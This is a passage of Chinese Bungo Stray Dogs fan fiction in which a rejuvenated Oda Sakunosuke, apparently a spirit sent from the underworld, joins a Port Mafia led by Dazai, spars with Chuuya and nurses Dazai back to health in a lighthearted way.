凭借【天衣无缝】,轻松躲开中原中也的拳头,织田作强调:“不是说大话,我想加入港口Mafia。” “别把我们组织当成收留失足儿童的慈善机构啊,三分钟,说出你的真实目的。” 中原中也一脚踏碎了织田作身侧的水泥地板,威胁道。 他不可会天真的相信对方的说辞,这小鬼特地蹲守在他的跑车旁边,一定是提前调查过他的情报。 胆敢把港口Mafia的干部当作猎物,如果对方不能给出令他满意的回答,接下来这小子将面对的可不止轻飘飘的拳头了。 织田作回想起太宰治曾经分享过的说服中原中也秘技,他面无表情地看着对方。 “为了拯救世界。” 中也先生是个正义感很强的Mafia,如果世界陷入危险的话,他一定会挺身而出的。 中原中也:“……” 有一瞬间他甚至怀疑自己是不是听错了。 所以他又问了一句:“什么?” “为了拯救世界。”织田作贴心地重复了一遍。 “你小子是中二病啊!”中原中也怒骂,“你竟敢拿这种蹩脚的借口糊弄我!” 和怒骂一同来到织田作面前的还有凌厉的腿风。 比少年织田作略矮半个头的干部大人双手插兜,在他看来,眼前的小鬼并不需要用上异能和双手。 然后他的腿击被对方借力化解了。 “还不赖嘛。” 中原中也发出惬意的轻笑,“小鬼,如果你今天能用拳头打中我一次,我就介绍你加入Mafia 。” 不过那是绝对不可能发生的幻想。 他对自己的实力有绝对的自信。 “真的吗?” 织田作说着,突然闪现到中原中也身后,朝着后者的脖颈闪电般出击。 经过数千场战斗淬炼的重力使自然不会这么轻易地被成功偷袭到,他侧身躲过,借助身体的惯性再次出腿。 织田作同样以腿击回应,但他不会像中原中也轻视自己那样轻视对方。 站在他面前的可是连太宰都承认的搭档,是港口Mafia的体术大师、战力天花板,也是荒霸吐的容器、重力操使。 看出对方体贴的没有使用重力,织田作自然不会错过这绝佳的时机。 桎梏住对方的双腿,他朝着中原中也面门重拳出击。 “稍微让我提起点兴趣了。” 中原中也笑着,将双手从口袋中抽了出来,抬手挡住织田作的重拳,他从侧面出击,目标是对方柔软的腹部。 显然,面对未成年人,他还是没有朝死里打。 按理说这一击是对方绝对无法避开的,但面前的少年像是提前预知到这一幕似的,突然翻转身体,躲开了这一击。 短短数十秒,他们已经过了几十招。 这是单纯的体术对抗。 中原中也的笑容越来越大,好几次他都差点被对方的拳头打中。 如果不用异能的话…… 中原中也口袋里的手机突然响了起来,铃声是混蛋Boss偷偷拿他手机设的自杀之歌。 是Boss的电话。 就这短短不足一秒的时间里,他走神了,同时也给了织田作出手的机会。 拳头停在他的左胸前。 中原中也看到疑似面瘫的红发少年朝他露出一个极淡的笑。 “我赢了。”织田作平静地说。 “啧!” 都怪混蛋Boss! ———————— !!———————— 织田作:中也先生竟然没有使用重力,他是个好人[点赞]《 》 80-85 第81章 成为干部之后,中原中也学会了收敛锋芒,他不再和少年时期一样情绪外露,就算愤怒,也只是将脚下一米范围内的石板用重力碾压为齑粉。 织田作观察着中原中也的表情。 习惯了有太宰和安吾在身边帮忙出谋划策的日子,突然一个人出差还挺不习惯的。 他猜想应该是刚刚接到的电话向中原中也传达了什么令后者十分不愉快的信息。 “啊!?知道了……什么!我……遵、命。” 最后两个字几乎是从中原中也牙齿缝中挤出来的。 那副咬牙切齿恨不得将电话对面的人咬碎吃掉的表情,织田作直觉判断这通话可能和自己有关。 因为通话途中,中原中也一直用杀人的视线上下切割他的身体。尽管没有造成什么实质性的损伤,至少无声地传达了警告。 挂断电话,中原中也一把揪住织田作的衣领,宽松的格子衬衣自然受不住重力使的摧残,当即崩开了两颗扣子,露出一小半白皙的胸口。 对此,织田作并没有觉得有什么不对劲的,甚至配合着往前走了几步。 面对少年的配合,中原中也的怒气突然间失去了宣泄的出口。 “小鬼!”但他气势依旧不减。 “给我听好了。”说着,他突然对上织田作平淡如水的双眼,不知为何,他下意识地避开了少年的注视,但随着视线下移—— 他看到了少年被扯得变形的大码衬衣,崩坏的纽扣和外露的皮肤。 “咳。” 突然有种自己是个欺压未成年的恶霸的既视感,中原中也轻咳一声,松开了手并后退了两步,“愿赌服输,我会介绍你加入组织,但是,在我们确认你的身份之前,你只能跟在我身边,明白了吗?” 要不是混蛋Boss那通电话,最后的结果还不一定谁输谁赢呢。 想到这里,中原中也默默攥紧拳头。 但就算他赢了面前这个来路不明的小鬼,对方也会因为Boss的特批加入组织。 没错,刚刚接的那通电话,就是港口Mafia的首领太宰治打来的,内容是让他答应红发小鬼的所有要求。 这小子到底是什么来历?竟然能得到混蛋太宰的关注。 “明白。” 不论过程只看结果的织田作欣然应下。 他整理了下皱皱巴巴的衣领,捡起掉落的两颗扣子,随即看向中原中也。 用眼神示意对方,自己已经准备好了,可以去办理入职了。 意外看懂了对方眼神中的暗示,中原中也不爽地“啧”了一声,但还是没说什么,转身就朝着织田作刚刚被“请”出来的那栋大楼走去。 于是,半个小时不到,港口Mafia的HR再次迎来了被他拒绝过一次的织田作。 按照工作规范,他应该再让人把对方“请”出去的。 可对方竟然找到了干部为他亲自出面。 HR的眼神不住地在织田作和中原中也之间来回观察。 少年凌乱的衣领。肯定是被中也扯坏的。 中也干部尚未平息的呼吸。刚刚发生了什么,好难猜啊~ 两人身上或多或少都沾了些灰尘。一定是经历了某种激烈的对抗。 不会吧!那可是Mafia最后的良心啊! HR不敢往下想了,他手速飞快地帮织田作办理了入职手续,录入信息到所属部门时他停了下来。 “中也大人,您看这里该……” 中原中也凑过去看了一眼,单手撑在办公桌上,语气随意道:“这个啊,填我的直属部下。” HR:! ! ! 他貌似不小心窥见了中也干部堕落的一面! 表情就要崩坏了,他赶紧低下头,迅速录入完信息,然后将新鲜出炉的工作证递给织田作。 说了句“好了慢走”后便开始埋头打字,也不知道在忙什么,总之给人一种他很忙不要打扰的态度。 “……嗯?” 中原中也环顾四周,临近下班时间,他们后面没有新人要入职,其他人也早就结束工作离开了。 据他所知,人事一般很少加班才对。 他在忙什么?还这么专注? 敏锐的干部大人透过对方身后的玻璃瞄了一眼电脑桌面。 随着HR的奋力敲打,屏幕上被层层叠叠的乱码覆盖,看起来就像是精神不太正常的样子。 中原中也默默拿出手机,编辑了一条信息发给这里的负责人,叮嘱对方多关注部下的情绪后,示意织田作可以走了。 出门,他来到自己的车前,正准备开门上车,突然意识到什么,猛地回头。 果然又对上了那双寂静沉默的眼睛。 “你跟着我干什么?!” 织田作疑惑:“中也先生不是说我只能跟在你身边吗?” “我没说下班时间也跟着我啊!回你自己家去!”他摆了摆手,让织田作赶紧回家。 “我没有家。”织田作语气平静,掏了掏空空如也的口袋,又补充道,“也没有钱住旅馆。” 他的家在地府,出差的这十天时间,不知是鬼灯大人又忘记了,还是觉得他不需要花钱,又没有给他批活动经费。 作为亡魂,他的确不需要吃喝,也不需要睡眠,但不代表他喜欢露宿街头。 更何况,不是中也先生自己说的让他跟着吗? 中原中也:“……” 他的视线逐渐变得复杂。 没有家也没有钱,走投无路只能投靠黑/手/党,这种孑然一身的状态,想必也没有家人。 再看向那身松垮的老式衬衣和工装裤,皮鞋也灰扑扑的。 那股令人心生愧疚的恶霸既视感又冒了出来。 恶名在外的Mafia重力使一时语塞,他本就不是什么好人,遇到这种情况,最合理的做法是潇洒上车离开,或者安排部下给少年准备一间空宿舍。 然后中原中也说话了。 “上车。” 说完他也不等对方的回答,径直坐到车上。 织田作乖乖跟着上车,车内有股淡淡的香水味,闻起来像是雪松和柑橘的混合香。 “叮咚” 中原中也的手机响起消息提醒,他拿起来看了一眼,然后就果断地将手机丢到一边,猛踩油门,跑车嗖地一下窜了出去。 被突如其来的推背感压在座位上,织田作虽然不担心出车祸,但还是默默系好了安全带。 “现在去吃饭,然后带你买几件衣服,这几天你先住我那里。” 霸道的干部这样命令道。 本以为对方会帮忙安排员工宿舍的织田作感到意外,但还是表示明白了。 “别以为这就算得到了我的信任。”中原中也冷着脸警告,在红路灯前慢慢踩下刹车,“你仍然是我的怀疑对象,还有你那身手是怎么回事?” 普通的孤儿可做不到和他有来有回地过上几十招,甚至还能抓住机会攻击到他。 织田作如实回答:“不会打架的人都死了。” 事实就是如此,在横滨,没有势力的庇佑,又是孤身一人闯荡,没点本事的话早就化作横滨绿植的养分回馈自然了。 侧头,中原中也看到少年的神情依然平静,仿佛此前的经历都很稀松平常。 他不由得放缓语气:“你为什么要加入港口Mafia ,这里有你认识的人吗?” 想到混蛋Boss发过来的消息,中原中也开始试探。 听到这样的问题,织田作将视线从道路前方转移到中原中也脸上。 要说认识的人,那他认识的可太多了。不过这里不是他所在的世界,所以他的回答应该是…… “因为这里很适合我。没有。” 思绪回溯到六年前,他在家门口捡到太宰治的时候。 为了帮助他摆脱曾经杀手时期招惹到的大大小小犯罪组织,太宰治建议他加入港口Mafia。 不计较最终的结果的话,织田作认为太宰治说得没错。 港口Mafia很适合他这样的人。 “还真会说大话啊,小鬼,你知道真正的黑/手/党是什么样吗?” 把织田作当成误入歧途的中二少年,中原中也发动跑车,“这里是建立在血腥与暴力之上的暗之城,话说,你杀过人吗?” 先前过招的时候,他从少年的身上没有感受到丝毫的杀意,这也是他放松警惕的原因之一。 一直被年纪比自己小的中原中也叫“小鬼”,织田作露出不认同的表情:“我不是小鬼,我也杀过人,只是现在不会这样做了。” “哈哈,还真是个小鬼。”中原中也笑了起来,他猜测对方口中的“杀过人”应该是在流浪的途中为了自保干掉了几个地痞流氓。 就像他少年时期在“羊”的那段时间里,为了保护成员和领地,难免要出手震慑住那些图谋不轨的敌对组织成员。 不得不承认的是,织田作的直率很对中原中也的胃口。虽然对方还处在被怀疑阶段,中原中也对他的态度已经从敌对变成了中立偏友好。 感觉到中原中也仍把自己当成未成年人看待,织田作选择保持沉默。 第一印象很重要,而他错过了这个关键的时机,所以接下来无论怎么解释,对方都只会把这当成未成年人的无能狂怒。 算了,都这样了也没办法改了。 脾气稳定淡然的水豚放弃了挣扎。 —— 港口大楼的主楼最顶层,首领室。 太宰治看着那辆熟悉的跑车驶出视线范围,才动作缓慢地按下关闭窗帘的按钮,厚重不透光的窗帘缓缓合上,切断了最后一缕阳光后,室内的照明只剩下办公桌上的一盏台灯。 昏暗的室内漆黑一片,仿佛有无形的罪恶涌动其中。 循着微弱的亮光,太宰治坐回办公桌前,将电脑屏幕上的监控画面调回两小时以前。 画面中,他熟悉但过分年幼的红发身影出现在中原中也跑车旁边,左右观望一圈后找了个位置蹲下。 然后就不动了。 直到一个多小时后中原中也出现。 他们打了起来。 那时场外一直在偷偷观战的太宰治发现少年织田作迟迟无法得手,于是他通过场外援助的方法拨通了中也的电话。 少年织田作得手了,他看起来很开心,看到这一幕的太宰治也跟着感到高兴。 除了中原中也。 少年织田作此行的目的是加入组织,为此他还改了个假名,叫做——织田作。 最后,中也带着少年织田作上车离开了。 他们要去哪里?少年织田作是从哪里来的?他为什么要加入组织? 太宰治第一时间翻开了“书”,但万千个世界中从未出现少年织田作这样超出常理的存在,他又调查了武装侦探社,属于这个世界的【织田作之助】正在调查某项委托。 经过多重认证,太宰治惊讶地发现,他找不到任何关于少年织田作存在于世界上的痕迹,对方就像是来自彼世的幽灵。 好奇怪、好想和他见上一面、好想…… 带着这样的想法,太宰治向中原中也下达了命令。 【每小时向我汇报织田作的动向。 】 但中原中也似乎无视了他这条命令,不但没有立即回复,甚至带着织田作上车扬长而去。 真是条不听话的坏狗狗。 太宰治为此感到苦恼。 太宰治决定主动出击! 一小时后,前来汇报工作的游击队小队长中岛敦敲响了首领室的大门。 但他静候了近十分钟后,门内依旧没有传来传唤他进入的声音。 野兽的直觉提醒他不太对劲。 出于对首领的关心,他第一次违背了组织的规定,擅自推开了门。 漆黑的房间内,完全感受不到任何活人的气息,甚至连首领助理银小姐也不见踪影! 首领失踪了! 中岛敦差一点控制不住体内的白虎,他连忙大口喘气让自己的情绪平复下来。 首领失踪对组织来说绝对是毁灭性的打击,这种时候一定要冷静,首先要避免消息走漏,然后命令部下暗中调查,最后—— 中岛敦拿出手机,颤抖着翻到中原中也的电话,重重地按下“拨出”键! 中也先生!大事不妙了啊! ———————— !!———————— 首领宰:这什么?绝版少年织田作!跟踪一下~[撒花] 第82章 作为首领,太宰治很少任性。 为了保持这个世界的稳定,大部分时间他都待在绝对安全的首领室,就算要出门,也会带着保镖或是中原中也。 在计划完成前,他不允许任何意外的发生。 可是今天例外发生了。 神秘的红发少年突然出现,对方似乎认识中也,还想通过干部的渠道加入组织,在人事那边登记的名字还是“织田作”。 安全起见,他应该和往常一样待在首领室里,等待中原中也传回关于少年织田作的情报。 但中原中也无视了他的命令。 没办法,太宰治只好亲自走一趟。 他才不是为了偷偷近距离观察少年织田作呢。 中原中也的跑车很显眼,找到他们的目的地轻而易举。 为了不被发现,太宰治特地换了件深色大衣,戴了顶深棕色贝雷帽和黑框眼镜。 长期只摄入仅够维持生命体征的食物让他看起来纤细瘦弱,加上大部分时间都待在不见天日的办公室里,皮肤白得像是从古堡中走出的吸血鬼。 阴郁沉默的外表让他看起来像是偷跑出来的小明星。 “一杯黑咖啡,谢谢。” 一般来说,在用餐高峰,像太宰治这样只点饮品占座的客人,餐厅是可以拒绝他入内的。 但太宰治出示的卡上有特殊标识,这可是放眼全横滨都找不出三张的至尊贵客! 意识到这一点的经理当即代替了服务员,一路恭敬地将人迎了进去。 按照太宰治的要求,餐厅为他安排了一间能纵览大厅景色的私密包厢。 妆容精致的侍者端着一杯黑咖啡走到太宰治身边半跪下:“您的黑咖啡,还需要为您做些什么吗?” 被侍者当作大客户的太宰治目不转睛地盯着大厅内的某处:“那一桌点了些什么?” 顺着太宰治的目光看过去,侍者看到了刚点完餐貌似在闲聊的中原中也和织田作之助。 虽然揣测客户的心理活动有违职业道德,但在那一瞬间里,侍者还是想到了各种狗血短剧的剧情。 至尊贵客和普通客人的区别在此刻体现得淋漓尽致。 侍者恭敬地应下,立刻通过耳麦询问后厨那两位客人的点餐内容。 后厨回答得很快。 “那两位客人分别点了本店的招牌和牛套餐和咖喱饭。” “……咖喱饭。”太宰治慢悠悠地重复了一遍。 侍者没有听清,问了一句:“抱歉,您刚刚说?” “给我也来一份咖喱饭吧,和他的一样。”他的语气轻快起来,像是遇到了值得高兴的事。 侍者不理解为什么这样的贵客会选择咖喱饭这样的平民食物,但还是把这一需求转达给后厨。 没一会,大厨的怒吼从耳麦中传来:“这些有钱人有没有搞错,我们这里是西餐厅,都跑到这里点激辣咖喱饭干什么!” —— 名为“织田作”的红发少年来历不明,但经过短暂的交谈,中原中也发现对方似乎真的只是想找份稳定的工作。 他毕竟在尾崎红叶的手下干过一段时间,基本的审讯技巧还是会的。 经过他的试探,织田作的说谎能力甚至比他还糟糕,就是那种一开始说谎,眼神就会乱飘,语气也变得不坚定。 比如说在自证年龄的时候。 “你说你成年了?” “嗯,早就满二十、十、十八岁了。” 回答的同时还伴随着思考和犹豫,视线也下意识地朝其他地方看去。 等待上菜的时间里,中原中也还问了其他的问题。 “小鬼你知道黑/手/党是干什么的吗?” “干走/私杀人等等非法活动的暴力武装集团。”织田作。 “很懂嘛,你难道不怕死?战场上的子/弹可不会因为你还是个小鬼就放你一马。” 中原中也本想点支烟,但刚掏出打火机就意识到对面还有未成年人,遂默默放下。 也不知道织田这小子哪里引起了Boss的注意,竟然让那个自闭阴暗男主动打电话帮他说话,甚至还要求他每小时汇报动向。 他又不是混蛋太宰手底下兢兢业业的牧羊犬,这种无理取闹的命令他才不会服从。 说起来混蛋太宰曾经提过要给中岛敦找搭档,难道这小鬼就是中岛敦的新搭档?但为什么要把人交给他帮忙看着? 他看起来像是那种擅长带小鬼的人吗? 中原中也思索间,织田作给出了他的回答。 “我不会死。”他语气肯定。 “哈?” 中原中也看向眼前不知天高地厚的小鬼,冷哼了一声,“告诉你一个最基本的道理,人都会死的。” 可我已经不是人了。 织田作默默想到,但他肯定不能用这句话来回答中原中也的质疑,于是他想了想,然后说:“刚刚的决斗是我赢了。” 他指的是在停车场和中原中也的体术对决。 没想到织田作突然提到这个,中原中也不爽地“啧”了一声。 他并没有否认这一结果,作为成年人,这点气度他还是有的。哪怕对方获胜的很大一部分原因是混蛋太宰的电话干扰了他的思绪,但输了就是输了,战斗中任何因素都会成为失败或是获胜的关键因素,他不会为自己的失误找借口。 盯着面前表情平静地陈述令人火大的真相的红发少年,中原中也越看越来气,索性往前伸出手按住对方蓬松干燥的红发,使劲揉搓了两下。 “成为黑/手/党的第一课,不可以和上司顶嘴。” 织田作:“……我只是在陈述事实。” “好了,不要再说话了,赶紧吃你的饭!” 不等侍者把咖喱饭端上来,中原中也率先起身将饭放到织田作面前,示意对方少说话。 这小子是一点不懂职场相处的规则啊! 同一时间,这一幕落在包厢里的太宰治眼中,嫉妒、羡慕、哀怨、惋惜各种情绪涌了上来。 他只看到了少年织田作和中也相处和谐、谈笑风生,聊到了有趣的话题后,中也甚至起身摸了少年织田作的头。 那可是横滨第一杀手的头!中也竟然摸到了!明明他都没有摸过! “您好,打扰了,这是您的咖喱饭……” 摆盘精致的咖喱饭被放到眼前,太宰治盯着少年织田作大口咀嚼的侧脸,用勺子挖起裹满了酱汁的米饭送入口中,机械性地咀嚼了两下后…… “好辣!这是岩浆吗!” “什么!你说那混蛋失踪了?!” 太宰治的抱怨和中原中也的怒吼几乎同时响起,后者两三口塞完最后几块和牛,示意刚吃了一小半米饭的织田作跟上。 “等一下,中也先生。” 织田作叫住着急离开的中原中也。 后者回过头:“小鬼,现在有急事……” 面对质疑,织田作指了指二楼某个包厢,平静道:“从刚才开始,那里似乎一直有人在暗中观察我们。” 能被中也先生以“混蛋”相称的人大概只有太宰,结合之前的那通电话,织田作合理推测应该是这个世界的太宰治发现了自己,但因为某些原因他不愿意现身见自己。 在一切涉及到“太宰治”的问题上,织田作总是格外的敏锐。 中原中也狐疑地看向织田作手指的方向。 已知混蛋太宰从组织偷偷溜了出来,并且在这之前命令自己实时汇报织田作小鬼的动向但被无视了。 而织田作小鬼提到有人偷偷藏在包厢观察他们。 结果显而易见,那个鬼鬼祟祟的家伙极有可能就是太宰! “走!” 立即调转方向,中原中也气势汹汹地带着织田作,仿佛是去抓奸而不是找回失踪的首领。 通过帽子和身高辨认出中原中也的身份,餐厅的经理压根不敢拦他们。 一路来到包厢门外,在经理惶恐的眼神中,中原中也一脚踢飞厚重华美的雕花木门。 没等他开口,里面服务员的求救声率先传了出来。 “快呼叫急救!这位先生、这位先生好像不行了!” 这时,织田作才看到包厢内的场景。 靠窗的座位上,太宰治脸色苍白,尽管痛苦,但他还是极尽全力朝门外露出一个安抚的笑。 “嗨,织田作。” 他似乎早料到了这一幕的发生,硬撑着打完招呼后便两眼一闭昏了过去。 中原中也回头看向织田作,那复杂的眼神仿佛在说“你还说在组织没有认识的人,你和我们家Boss到底什么关系”。 织田作也不知道该做何解释,于是他选择了转移话题:“他看起来急需治疗。” —— 织田作加入组织的首次任务已下发,那就是照顾Boss直到他痊愈。 其实他这种刚加入组织的新人根本没有面见Boss的机会,但耐不住太宰治就算陷入昏迷,也精准地抓住了织田作的手,扯都扯不开的那种。 迎着中原中也“你俩到底什么关系”的怀疑眼神,织田作只好留了下来。 同时为了确保太宰治的人身安全,中原中也替代了银的助理一职,也跟着搬进了首领室。 考虑到太宰治娇弱的胃摄入了致死量的辣椒,食堂那边只能给他安排一些养胃的粥类。 至于如何让虚弱且不怎么情愿配合的首领大人把粥喝下去,织田作倒是挺有经验的。 他毕竟照顾过活蹦乱跳的少年太宰治,手脚乱动就绑起来,不愿意张口就诱导对方说话,趁开口的机会把粥塞进去。 本以为这一提议会被中原中也否决,但后者意外地好说话,并且主动帮他把昏迷中的太宰治绑了起来。 这下事情就简单多了。 太宰治醒来的时候,他的床前立刻冒出了两颗颜色鲜艳的脑袋。 模糊的视线中看到红色的脑袋似乎对赭色的脑袋说了些什么,等到他的视线终于清晰,一碗温度适口的营养粥已经出现在面前。 这是梦吗?他竟然看到了少年织田作面无表情地端着粥要喂他,但他现在不想喝粥。 “我……唔!” 抓住时机,织田作迅速往太宰治嘴里塞了一勺粥。 这种时候如果吐出来只会更恶心,太宰治无奈只得嚼吧两口咽了下去。 “等……唔!我要吐了先别塞了!” 又是一勺粥被塞了进来。 太宰治想要抬起手阻止对方的动作,可他这时才发现自己被五花大绑在床上动弹不得! “中……好烫!先等一下啊!” 正想叫一旁的中原中也帮自己解开,但这又给织田作提供了机会。 “好了好了,别塞了,我会吃的!” 勺子停在了嘴边,太宰治哀怨地看向坐在床边的织田作。 他设想过无数个与少年织田作见面的场景,唯独漏掉了这个被绑在床上喂粥的狼狈一面。 他本应该以更神秘、更酷、更帅气的形象出现在少年织田作面前的。 看着被迫乖巧的太宰治和手法专业的织田作,中原中也默默侧过身偷笑。 哈哈,第一次见到混蛋太宰这样,这次加班值了! ———————— !!———————— 中也:我们受过专业的训练,一般遇到这种情况是不会笑的、噗哈哈哈哈! [太阳镜] 第83章 如果在一天前告诉中原中也首领病重,需要人贴身照顾,他一定会把这个当成本年度最棘手的工作,打起十万分精神来应对虚弱但抗拒治疗的首领。 但织田作出现后,照顾太宰治这回事看起来似乎没那么困难了。 那双阴暗空洞的鸢眼不再朝外界发射眼刀,淬了毒的嘴也老实下来,更不用说四肢都被绑在床上,就算想挣扎也是动弹不得。 只要不危及生命,中原中也比谁都乐意看到太宰治吃瘪的样子。 要不是考虑到对方毕竟是自家首领,他都想拿出手机拍照录像了。 或许是中原中也心情太过愉悦,加上他看笑话的视线过于明显,太宰治转过头来。 为了确保自己能流畅地说出完整的一句话,他特地和织田作保证:“等我说完这句话,说完我就会吃的。” 勺子停在嘴边,织田作默不作声地盯着他。 他的眼神仿佛在说“暂且相信你一次”。 得到“许可”后,太宰治看向中原中也,语气和前一秒同织田作对话时的温和简直判若两人。 “中也,你可以走了。” 中原中也:“啧,你又想干什么?” 这种时候把他支走,要是织田作心怀不轨的话,这家伙可危险了。 “这是命令。” 太宰治压低声音道,此刻尽显他上位者的气势。 港口Mafia有三条原则,其中最重要的第一条就是【绝对服从首领的命令】。 这一点就算是干部也必须遵守。 “可恶。” 中原中也低骂了一句,从一旁的衣帽架上取下帽子,离开时狠狠地瞪了织田作一眼。 “照顾好Boss 。”他的话中带着威胁,毕竟他又不像太宰治那样对织田作自带百米滤镜,对于这样一个来路不明的人,要不是被命令离开,他绝对不会放任对方和首领独处一室。 说完后他就离开了,虽然不放心织田作和太宰治独处,但不知道是忘了还是故意的,他并没有解开绑在太宰治身上的绳子。 碍事的人离开了,太宰治回头看向织田作,愉悦道:“接下来我们可……唔!” 人机织田作机械性地执行着喂粥的指令,见太宰治说完话便立马舀起一勺粥塞进对方嘴里。 太宰治差点被呛到。 大意了,忘记粥还没喝完。 他默默咽下配料丰富的营养粥,决定在把粥喝完之前绝对不会说一句话。 一碗粥很快见了底。 织田作将空碗收好放回保温盒里,接着用沾水的棉巾帮太宰治清理了一下嘴角。 做完这一切,他再次坐回床边。 从外貌上来看,眼前的黑发青年和他认识的【太宰治】几乎是一模一样。 但仔细观察的话,两人的差距可以说是天差地别。 【太宰治】脱离了港口Mafia,完全生活在了阳光下,性格也变得活泼开朗,偶尔会尝试入水上吊之类的个人爱好,那都无伤大雅。 可眼前的这位,浑身上下都绑着绷带,体内的生机无时无刻都在往外流失,双眼空洞,全靠着某种执念支撑着身体活动。 到底发生了什么? 尽管好奇,织田作仍是静静地坐在那里,等待对方主动说出口。 “真不愧是织田作呀。” 看出对方的所思所想,太宰治感叹后问道,“织田作知道自己为什么会出现在这里吗?” 之前听中原中也吐槽过,他在昏迷后死死地抓着织田作的手不放。 也就是说面前的少年织田作不可能是异能力的产物,是实实在在的人类。 经过短暂的相处(实际上是被织田作强制喂粥),太宰治暂时得出结论,眼前的少年就是织田作。 但一个世界怎么会同时存在两个织田作之助。 他注视着面前沉默的少年,企图从后者的表情中读出些什么。 然后他就听到织田作给出了肯定的回答。 “我知道。” 一时没反应过来,太宰治愣了片刻。 没办法,在面对织田作的时候,他总会失去惯有的从容。 “那你为什么会出现在这里?” 织田作对上太宰治晦暗幽深的鸢眸,语气和往常一样平淡冷静:“为了你。” 对方可是太宰治,而且他也不擅长说谎,与其耗费脑力让事情变得更复杂,不如直白简单地说出目的。 太宰治呆住了。 过了许久,他才重新找回了声带,干涩地发出一个“哈?”。 这种感觉很难用语言形容,比起高兴、感动之类的情绪,惶恐占据了更大的分量。 织田作想从我这里得到什么?我只是他的某个任务目标吗?任务完成后他就会消失吗? 太宰治就是这样一个连触碰最柔软的棉花也害怕受伤的胆小鬼。 比起相信少年织田作此行带着善意,他倾向于把自己摆到“任务对象”这样靠利益才能维系的关系上来。 不过他的想法也没错,他确实是织田作的“任务对象”,只是这种关系并不需要靠利益维系。 太宰治像是被织田作的发言吓到,“哈”了一声后便陷入了沉默。 意识到现在轮到自己做出解释了,织田作斟酌着开口:“你愿意成为我的同事吗?” 在太宰治真正步入死亡的怀抱之前,他不能明确地告诉对方只剩下十天的寿命这一残酷的事实。 这是狱卒绝对不可逾越的底线。一旦告知生者死亡的期限,可能导致后者为了逃避死亡采取一系列可能破坏轮回秩序的冒险行动。 同时也不能贸然告知对方地府的存在,否则以太宰治的头脑,肯定瞬间就能推理出他的目的和身份。 因此,他只能选择性地将部分真相告知给对方。 “同事?” 太宰治重复了一遍,“杀手还是邮递员?” 在他脑海中,有一段他从未经历过的记忆。 记录了他少年时期遇到金盆洗手的青年杀手,在短暂的相处后,身为黑/手/党的少年邀请了转行当邮递员的杀手加入港口Mafia,在那短暂的两年里,少年拥有了一段可以被称为“美好”的回忆。 但是故事的最后,梦想成为小说家的杀手死掉了。 这像是一个预警。 为了改变杀手悲惨的结局,太宰治强行改写了自己的人生,以外界看来残暴血腥的手段篡位成为了港口Mafia的首领。 而杀手,被他推向了光明的一方。 他记忆中的那位杀手,就是织田作之助。 所以在少年织田作提出希望太宰治成为他的同事后,他第一时间想到了杀手和邮递员。 织田作思索片刻。 狱卒的工作有很多种,按照鬼灯大人对太宰治的分类,应该是亡灵教习之类的管理型岗位。 这该怎么形容呢? “类似于刑讯组负责人那种。” “听起来很无聊的样子。”看着少年织田作绞尽脑汁思考该如何说服他的样子,太宰治突然想逗一逗对方。 毕竟这可能是他唯一一次和“织田作”和谐交流的机会。 以他目前的立场,一旦和这个世界的【织田作之助】遇上,后者有极大可能直接把他当成敌人对待。 他的计划已经进行到最后阶段,只要他看住少年织田作,一切将按照他设想的计划有序进行。 少年织田作的出现,或许是命运难得对他仁慈一次呢。 织田作并没有被他的回答打击到,而是顺着太宰治的话往下说:“确实挺无聊的。” 整天面对那些不知悔改的刺头恶灵,看多了,甚至会影响到狱卒自身的善恶理念,如果不是心志坚定的狱卒,很容易在工作期间被恶念入侵。 当然他并不认为这种工作会难到太宰治。 “如果是有趣的工作,你会答应我的邀请吗?”织田作问。 太宰治故作高深地闭上眼睛:“不好说,得看有趣到什么程度吧。” 脑海中闪过无数个太宰治可能感兴趣的话题,思来想去,果然还是只有“那个”成功的可能性最高。 织田作使出绝杀:“成为我的编辑怎么样?” “……” 太宰治猛地睁开眼睛,那双几乎被黑暗侵蚀殆尽的鸢眸突然亮起了点点光芒。 他紧盯着织田作,要不是被绑在床上,这会估计要直接坐起来了。 “编辑?”他轻声问道,“小说编辑的那种编辑吗?” 然后他看到少年织田作的脸上短暂地纠结了一瞬,然后像是艰难地做出了某种决定,严肃地说:“嗯,不会追着我催稿的小说编辑。” 说完,织田作感觉这有点像是诈骗,于是又补充了一点:“主业是刑讯负责人,副业是编辑。” 太宰治表示无所谓,他只想知道这个编辑的岗位是不是真实存在。 “我能看看你的作品吗?” 区区小说,竟然能让堂堂Mafia首领露出这种渴望又小心翼翼的卑微表情。 如果被中原中也看到了,一定会狠狠批评太宰治连首领的威严都忘了,可惜严厉的干部大人已经被赶走了。 “可以。” 早有准备的织田作从口袋里摸出几张皱皱巴巴的稿纸,那是另一个【太宰治】约的稿子,是关于织田作之助的一生的故事。 他将结尾涉及地府的部分提前抽了出来,现在准备拿给太宰治看的,就是织田作之助从杀手到Mafia底层成员的部分。 是不包含他的死亡和太宰治的叛逃的美好回忆。 太宰治又往前探了探身体,可惜身体被牢牢绑在床上,除了稿纸空白的背面,什么都看不到。 那几张牵动了他全身注意力的稿纸被织田作拿出来晃了两下,然后又被后者收了起来。 “等你痊愈后再看吧。” 织田作冷酷无情地说道。 他其实可以念给太宰治听,但用这种方法更能调动太宰治配合治疗的积极性。 “……” 很好,不愧是织田作。 太宰治颓然闭上双眼。 “我要休息了。” ———————— !!———————— 捡宰日里面织田作和宰宰的相处真的超级萌啊! [爱心眼] 第84章 首领失踪后食物中毒被干部带回治疗这件事,组织内没几个人知道。 毕竟事关重大,而且事件从发生到解决也才花了两个小时不到。 但没几个人知道不代表没人知道,中岛敦身为参与了整起事件的知情人,他只在太宰治被送回来的时候见到了一个虚弱的身影。 然后对方就被中也先生和一个不认识的红头发小鬼送回了顶楼的首领室。 从中原中也那里听说太宰治醒了,中岛敦犹豫许久,才鼓起勇气,在完成某个镇压任务后认真清洗掉身上的血迹,换上干净的外套来到首领室外。 幼年在孤儿院的遭遇让他被迫养成了怯弱的性格。 他既害怕用“探望病人”这种无关紧要的理由前去会被太宰先生责骂,但又担心太宰先生的身体。 最终还是对太宰治的关心压过了惶恐和不安。 “叩叩。” “太宰先生,中岛敦前来汇报工作。” 他垂着头站在门前,脑海中不断模拟出可能发生的场景。 过度的思考和忧虑让他甚至没能第一时间察觉到面前的门被人从里侧打开了。 开门的人是不认识的红头发小鬼,中岛敦礼貌地朝对方颔首示意:“我来找太宰先生。” 托鬼灯大人的神奇小药丸的福,重回少年时期的织田作仅比中原中也高小半个头,如今面对中岛敦,他发现自己竟然比对方矮。 织田作不禁思考起自己当前的身体年龄到底被回溯到了什么时候。 起初他还以为至少是十六七岁,现在看来只有十四五岁吧。 难怪他假装成年人连中也先生都没骗过去。 “请进。” 织田作侧身,领着中岛敦往里走。 